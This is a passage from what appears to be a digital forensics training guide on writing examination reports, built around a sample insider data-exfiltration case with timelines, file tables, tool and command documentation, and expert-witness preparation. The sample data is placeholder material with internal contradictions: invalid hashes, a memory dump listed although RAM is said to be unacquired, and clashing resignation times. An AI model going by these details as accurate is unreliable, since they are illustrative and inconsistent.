\u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 customers.xlsx\u2502 C:\\Users\\John\\Docs \u2502 2023-11-10    \u2502 2023-11-15   \u2502\n\u2502              \u2502                     \u2502 09:15:22      \u2502 14:30:45     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 pricing.pdf  \u2502 C:\\Users\\John\\Docs \u2502 2023-11-12    \u2502 2023-11-15   \u2502\n\u2502              \u2502                     \u2502 11:20:33      \u2502 14:32:18     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n5.1.3 File Content Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFile: customers.xlsx (EX-001/Extracts/001)\nSHA256: 1a2b3c4d5e6f7g8h9i0j...\n\nThe file contains 15,247 customer records including:\n- Names, addresses, phone numbers\n- Purchase history and preferences\n- Payment methods (credit card last 4 digits)\n- Contract expiration dates\n\nNotable: This file was last accessed 4 hours before resignation.\n\n[SCREENSHOT: File content showing key columns]\n\n5.1.4 Deleted File Recovery\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe following deleted files were recovered from unallocated space:\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Filename     \u2502 Original Path       \u2502 Deleted       \u2502 Recovery     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 secret.docx  \u2502 C:\\Users\\John\\Docs  \u2502 2023-11-15    \u2502 92%          \u2502\n\u2502              \u2502                     \u2502 14:35:22      \u2502 recovered    \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nContent of secret.docx (excerpt):\n\"This document discusses the upcoming merger with XYZ Corp, \nscheduled to close December 2023...\"\n```\n\n#### Timeline Presentation\n\n```markdown\n5.5 Timeline of Events\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nKey events reconstructed from multiple artifacts:\n\n2023-11-01\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:00    \u2500 Employee logs into system (Event Log 4624)\n09:15    \u2500 Accesses customers.xlsx (USN Journal)\n09:30-16:30 \u2500 Normal work activity\n\n2023-11-10\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n11:20    \u2500 Creates pricing.pdf (MFT record created)\n11:22    \u2500 Modifies document (File metadata)\n\n2023-11-15\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n14:30    \u2500 Last access of customers.xlsx (Prefetch)\n14:32    \u2500 Last access of pricing.pdf (Prefetch)\n14:35    \u2500 secret.docx deleted (Recycle Bin)\n14:40    \u2500 USB drive \"SanDisk Ultra\" connected (USBSTOR)\n14:41-14:55 \u2500 Mass file copy to USB (USN Journal)\n15:00    \u2500 Employee leaves early\n\n2023-11-16\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:00    \u2500 Employee logs in\n09:15    \u2500 Email to johndoe.personal@gmail.com\n          Attachments: customers.xlsx, pricing.pdf (Email logs)\n09:30    \u2500 Email to HR: resignation letter\n10:00    \u2500 System shutdown (Event Log 6006)\n\nTimeline Visualization:\nNov 01 [===== Normal Work =====]\nNov 10 [== Document Creation ==]\nNov 15 [== Copy to USB ==][== Delete ==]\nNov 16 [== Email ==][== Resign ==]\n```\n\n---\n\n### 17.5 Including Visual Evidence\n\nVisual aids significantly improve comprehension.\n\n#### Screenshot Documentation\n\n```markdown\n5.2.3 Suspicious Email Evidence\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nFigure 1: Email sent to personal account on 2023-11-16\n\n[SCREENSHOT: Email client showing:\nFrom: john.doe@company.com\nTo: johndoe.personal@gmail.com\nSubject: Files\nDate: Nov 16, 2023 09:15:22\nAttachments: customers.xlsx (2.4 MB), pricing.pdf (1.8 MB)\n\nDear self,\nHere are the files we discussed.\n- John]\n\nExaminer Note: The email was recovered from the Sent Items folder\nand verified by matching attachment hashes to the original files.\n```\n\n#### Data Visualization\n\n```markdown\n5.5.2 Data Exfiltration Volume\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nFigure 2: Data transfer to USB drive over time\n\n[CHART: Line graph showing]\nBytes Transferred\n    ^\n5MB |        *\n4MB |      *   *\n3MB |    *       *\n2MB |  *           *\n1MB |*               *\n    +-------------------\u2192 Time\n    14:40 14:45 14:50 14:55\n\nThis pattern shows continuous file transfer rather than\nintermittent access, consistent with bulk copying.\n```\n\n#### File Structure Diagrams\n\n```markdown\n5.1.5 MFT Entry Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nFigure 3: MFT Entry for secret.docx (before deletion)\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 MFT HEADER                          \u2502\n\u2502 Record: 12345   In Use: Yes         \u2502\n\u2502 Sequence: 3     Links: 1             \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 $STANDARD_INFORMATION                \u2502\n\u2502 Created: 2023-11-10 11:20:33        \u2502\n\u2502 Modified: 2023-11-15 14:30:45       \u2502\n\u2502 Accessed: 2023-11-15 14:30:45       \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 $FILE_NAME                           \u2502\n\u2502 Name: secret.docx                    \u2502\n\u2502 Parent: 12340 (Documents)            \u2502\n\u2502 Created: 2023-11-10 11:20:33        \u2502\n\u2502 Modified: 2023-11-15 14:30:45       \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 $DATA (Non-resident)                 \u2502\n\u2502 Data Runs: [0x31 02 3A 01 34 12...] \u2502\n\u2502 Size: 245,760 bytes                  \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n### 17.6 Tool Documentation\n\nProper tool documentation ensures reproducibility and admissibility.\n\n#### Tool Verification Table\n\n```markdown\n4.2 Forensic Tools Used\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nAll tools were verified using published hashes from official sources.\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Tool            \u2502 Version    \u2502 SHA256 Hash      \u2502 Verification  \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 FTK Imager      \u2502 4.7.1      \u2502 1a2b3c4d5e...    \u2502 Matched       \u2502\n\u2502 Autopsy         \u2502 4.20.0     \u2502 2b3c4d5e6f...    \u2502 Matched       \u2502\n\u2502 Volatility      \u2502 2.6.1      \u2502 3c4d5e6f7g...    \u2502 Matched       \u2502\n\u2502 Plaso           \u2502 20230715   \u2502 4d5e6f7g8h...    \u2502 Matched       \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nTool Configuration:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFTK Imager: Default settings, evidence file format E01,\n           compression level 6, verification enabled\n\nAutopsy: Ingest modules enabled:\n        - File Ingestion (default)\n        - Hash Lookup (NSRL)\n        - Keyword Search (custom list attached)\n        - Email Parser\n        - Extension Mismatch Detector\n```\n\n#### Command Documentation\n\n```markdown\n4.3 Key Commands Executed\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nMemory Acquisition:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCommand: DumpIt.exe /quiet /output memory.raw\nOutput: memory.raw (16,384 MB)\nHash: SHA256: 5e6f7g8h9i0j...\n\nVerification:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCommand: sha256sum memory.raw\nResult: 5e6f7g8h9i0j... (matches acquisition)\n\nMFT Extraction:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCommand: fls -o 2048 -r evidence.E01 > mft_listing.txt\nOutput: 127,453 files listed\nDate: 2023-12-10 14:30:00\n\nTimeline Creation:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCommand: log2timeline.py --storage-file case.plaso evidence.E01\nCommand: psort.py -o l2tcsv -w timeline.csv case.plaso\nOutput: timeline.csv (234,567 events)\n```\n\n---\n\n### 17.7 Addressing Limitations and Alternative Explanations\n\nA credible report acknowledges limitations and considers alternatives.\n\n#### Limitations Section\n\n```markdown\n8. LIMITATIONS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n8.1 Technical Limitations\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- The subject laptop (EX-001) was powered off at seizure, so volatile\n  memory (RAM) could not be acquired.\n- The USB drive referenced in findings was not recovered, so direct\n  examination of copied files was not possible.\n- Encrypted files (3 found) could not be examined without passwords.\n- System time was 3 minutes 22 seconds ahead of UTC; all timestamps\n  in this report have been adjusted accordingly.\n\n8.2 Scope Limitations\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Examination was limited to the laptop; cloud storage and personal\n  devices were not included in scope.\n- Network logs were available only for the previous 30 days.\n- Email attachments larger than 10MB were not preserved by the mail\n  server.\n\n8.3 Unanswered Questions\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- The recipient of the emailed files has not been identified.\n- It's unknown if additional files were deleted before imaging.\n- The ultimate destination of files copied to USB is unknown.\n\n8.4 Potential Alternative Explanations\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe following alternative explanations were considered and rejected:\n\nAlternative 1: System compromise\n- Considered: Could an attacker have performed these actions?\n- Rejected because: No evidence of remote access; actions align with\n  user's normal working hours; files were accessed with valid credentials;\n  no malware or unusual network connections detected.\n\nAlternative 2: Authorized business purpose\n- Considered: Could this be normal work activity?\n- Rejected because: Personal email recipient, timing with resignation,\n  deletion of files, and nature of files (customer data) inconsistent\n  with normal business practices.\n\nAlternative 3: Coerced actions\n- Considered: Could the user have been forced to perform these actions?\n- Rejected because: No evidence of coercion; actions were spread over\n  multiple days; user accessed files during normal work hours without\n  unusual behavior.\n```\n\n---\n\n### 17.8 Expert Witness Preparation\n\nYour report may lead to testimony in court or depositions.\n\n#### Preparing for Testimony\n\n```markdown\nEXPERT WITNESS PREPARATION CHECKLIST\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nBefore Testimony:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u2610 Review entire case file (not just your report)\n\u2610 Refresh memory on technical details\n\u2610 Verify all dates, times, and findings\n\u2610 Prepare visual aids for complex concepts\n\u2610 Anticipate defense questions\n\u2610 Understand opposing expert's report (if any)\n\u2610 Confirm schedule and logistics\n\nCommon Defense Questions:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. \"Could the timestamps have been modified?\"\n   - Answer: Explain MFT vs file system timestamps\n   - Be honest about possibilities\n   - Reference corroborating evidence\n\n2. \"Could someone else have used the computer?\"\n   - Review login evidence\n   - Check for remote access\n   - Consider physical access\n\n3. \"Did you examine everything?\"\n   - Explain scope limitations\n   - Justify examination priorities\n   - Note what wasn't examined and why\n\n4. \"Are you being paid for your testimony?\"\n   - Yes (transparently)\n   - Explain fee structure (hourly, not outcome-based)\n\n5. \"Isn't it possible that [alternative explanation]?\"\n   - Address each alternative\n   - Explain why evidence supports your conclusion\n   - Acknowledge possibilities while showing probabilities\n\nDuring Testimony:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Speak clearly and slowly\n- Answer only what is asked\n- If you don't know, say so\n- Use plain language, define technical terms\n- Refer to notes when needed\n- Stay calm and professional\n```\n\n#### Expert Qualification Section\n\n```markdown\nEXAMINER QUALIFICATIONS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nName: John Smith\nTitle: Senior Forensic Analyst\nCompany: Cyber Forensics Inc.\nExperience: 12 years\n\nEducation:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Master of Science in Digital Forensics, University X, 2014\n- Bachelor of Science in Computer Science, University Y, 2011\n\nCertifications:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- GIAC Certified Forensic Examiner (GCFE) - 2015\n- GIAC Certified Forensic Analyst (GCFA) - 2017\n- GIAC Reverse Engineering Malware (GREM) - 2019\n- Certified Computer Examiner (CCE) - 2016\n- EnCase Certified Examiner (EnCE) - 2015\n\nProfessional Experience:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n2020-Present: Senior Forensic Analyst, Cyber Forensics Inc.\n  - Lead examiner on 150+ cases\n  - Specializing in intellectual property theft and insider threats\n  - Testified as expert witness in 25 federal and state cases\n\n2015-2020: Digital Forensic Examiner, State Police\n  - Processed 500+ digital evidence items\n  - Trained 50+ officers in digital evidence handling\n  - Developed standard operating procedures\n\n2011-2015: IT Security Analyst, Private Sector\n  - Network security monitoring\n  - Incident response\n  - System administration\n\nPublications and Presentations:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- \"Advanced NTFS Forensics,\" DFIR Conference 2022\n- \"Timeline Analysis Techniques,\" Journal of Digital Forensics, 2021\n- \"Insider Threat Detection,\" Security Summit 2020\n\nPrevious Testimony:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- State v. Anderson (2023) - Qualified as expert, testified on file system analysis\n- Company v. Former Employee (2022) - Qualified, testified on data exfiltration\n- Federal v. Doe (2021) - Qualified, testified on timeline reconstruction\n\n(Full CV attached in Appendix E)\n```\n\n---\n\n### 17.9 Sample Forensic Report\n\nHere's a complete sample report demonstrating all principles.\n\n```markdown\nFORENSIC EXAMINATION REPORT\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nCASE INFORMATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCase Number: CF-2023-0042\nExaminer: Senior Forensic Analyst John Smith\nDate of Report: 2023-12-15\nRequesting Party: Legal Department, Acme Corporation\nClassification: CONFIDENTIAL - ATTORNEY WORK PRODUCT\n\n1. EXECUTIVE SUMMARY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nOn December 10, 2023, at the request of the Legal Department, this examiner \nconducted a forensic analysis of a Dell Latitude laptop (EX-001) belonging to \nJohn Doe, a former employee who resigned on November 16, 2023.\n\nThe examination revealed that between November 1-15, 2023, the user downloaded \n47 files containing proprietary company information totaling 45.7 MB to an \nexternal USB drive. These files included customer databases, pricing strategies, \nand confidential product specifications.\n\nOn November 16, 2023, at 9:15 AM, 23 of these files (totaling 23.4 MB) were \nemailed to the personal Gmail account johndoe.personal@gmail.com. The user \nsubmitted their resignation via email at 9:30 AM the same day.\n\nThe timing, method of access, and pattern of activity strongly indicate \ndeliberate data exfiltration rather than normal work activity or system \ncompromise. Detailed findings supporting these conclusions are provided below.\n\n2. CASE BACKGROUND\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nOn November 16, 2023, at 10:00 AM, John Doe submitted his resignation via email \nto Human Resources. Later that day, IT staff discovered that the employee had \naccessed an unusually large number of files in the days prior to resignation.\n\nOn December 10, 2023, the company's Legal Department requested a forensic \nexamination of the employee's company-issued laptop to determine if company \ndata had been exfiltrated.\n\nThe laptop was seized on December 10, 2023, at 2:30 PM, with the employee's \nconsent (consent form attached). The device was powered off at seizure.\n\n3. EVIDENCE LIST\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Item ID \u2502 Description     \u2502 Source       \u2502 SHA256 Hash                      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 EX-001  \u2502 Dell Latitude   \u2502 John Doe     \u2502 Not applicable (physical item)   \u2502\n\u2502         \u2502 7420 Laptop      \u2502              \u2502                                  \u2502\n\u2502         \u2502 SN: 1A2B3C4D     \u2502              \u2502                                  \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 EX-001A \u2502 Forensic Image   \u2502 EX-001       \u2502 a1b2c3d4e5f67890a1b2c3d4e5f67890 \u2502\n\u2502         \u2502 of 500GB SSD     \u2502              \u2502                                  \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 EX-002  \u2502 Email Server     \u2502 IT Dept.     \u2502 Not applicable (log files)       \u2502\n\u2502         \u2502 Logs (30 days)   \u2502              \u2502                                  \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n4. EXAMINATION METHODOLOGY\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n4.1 Acquisition\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- EX-001 was imaged using Tableau TD3 write blocker\n- FTK Imager 4.7.1 created E01 image (EX-001A)\n- Verification hash calculated before and after imaging\n- Image verified (hash match)\n\n4.2 Analysis 